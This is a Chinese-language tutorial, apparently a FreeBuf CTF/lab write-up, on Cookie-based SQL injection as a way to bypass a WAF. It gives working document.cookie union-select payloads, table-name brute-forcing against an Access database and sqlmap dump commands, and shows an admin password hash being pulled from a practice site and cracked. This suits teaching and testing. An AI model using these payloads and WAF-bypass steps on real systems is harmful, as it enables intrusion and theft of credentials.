无名草
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Cookie注入简介
注:Cookie传参值需要URL编码
什么是Cookie
Cookie 是指某些网站为了 辨别用户身份 而储存在 用户本地终端上的数据(通常经过 加密 )。
通俗来讲,Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。
Cookie 的出现是为了给用户更好的 体验性 ,从安全的角度来讲,Cookie本身就是不安全的。
Cookie注入原理
在动态脚本语言中存在 超全局变量 可以 获取多种传参方式 (基本上)
很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
例如:
php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE 传参
注:php 5.4以上版本就不会接受Cookie传参了。
如果说开发用了 $_REQUEST[] 来接受参数?
然后我们的 POST 和 GET 传参被Waf拦截了,然后也许Waf没有对Cookie进行检测,
我们尝试用 Cooki e进行传参,就可以绕过检测机制!!
注:Cookie注入是 特殊的传参方式 产生的注入,与其他的无关!!
修改或设置Cookie
Burp抓包
在有 Cookie 请求头的 数据包 里面直接修改Cookie,没有 Cookie 请求头的 数据包 里面直接添加Cookie
浏览器设置
按F12打开开发者模式——》Application ——》storage——》cookies
然后修改Cookie
浏览器自带JS设置
按 F12 并选择 Console打开浏览器控制台
然后用 document.cookie来设置
escape( )是对参数进行一次 URL 编码的函数。
浏览器插件设置
EditThisCookie,ModHeader,HackBar等插件都可以设置
这里主要说的是 EditThisCookie 设置cookie
什么站点存在注入
一般来说:
ASP站点存在的可能性很高;(判断网站站点的一般方法:看URL 或 抓 返回包)
PHP的版本小于5.3的可能性很高;
Cookie注入实战
手工注
1.判断注入点
正常输入 and -1=-1 发现关键字 and 被过滤了
然后尝试是否可以 cookie 注入
document.cookie="id="+escape("171 and -1=-1") 页面显示正常
document.cookie="id="+escape("171 and -1=-2") 页面显示正常
====》可以进行cookie注入
2. 判断当前页面字段总数
document.cookie="id="+escape("171 and -1=-1 order by 10") 页面有显示
document.cookie="id="+escape("171 and -1=-1 order by 11") 页面没有显示
====》字段数为 10。
3.爆破表名
因为改数据库是 Access数据库,只有一个数据库,没有系统自带表,要用标准的查询语句才能查询到数据,所以要先知道这里的 表名和字段名 。对于获取access数据库的表名和字段名,方法只有爆破。
exists( ) : 这个函数就是用来检查表名是否存在,原理就是检查子查询能否查询到数据
常见的表名:admin news work user job admin_user
document.cookie="id="+escape("171 and exists(select *from admin) ") 页面正常显示
====》存在 admin 表。
也可以在Burp用字典爆破。
选中要爆破的位置
开始爆破
====》表名有 admin,news,user,product,feedback...
4.判断显示位
document.cookie="id="+escape("171 and -1=-2 union select 1,2,3,4,5,6,7,8,9,10 from admin")
====》显示位为2,3,7,8,9。
5.爆破字段名
在显示位跑字段名
常见字段名:id,user,flag,password,username,title........
document.cookie="id="+escape("171 and -1=-2 union select 1,id,3,4,5,6,7,8,9,10 from admin") 有数据显示
document.cookie="id="+escape("171 and -1=-2 union select 1,password,3,4,5,6,7,8,9,10 from admin") 有数据显示
====》得到数据:b9a2a2b5dffb918c。
也可以用Burp字典爆破。
====》得到字段名 id,password,username,id,flag....
6.御剑后台扫描
得到 企业网站管理系统
管理员账号 admin
然后将 b9a2a2b5dffb918c进行cmd5解码得到 管理员后台密码welcome。
进入后台拿到flag
sqlmap跑cookie注入
python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2
python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2 --tables
python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2 -T admin --dump
得到数据 b9a2a2b5dffb918c。
后面的和上面一样.........
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
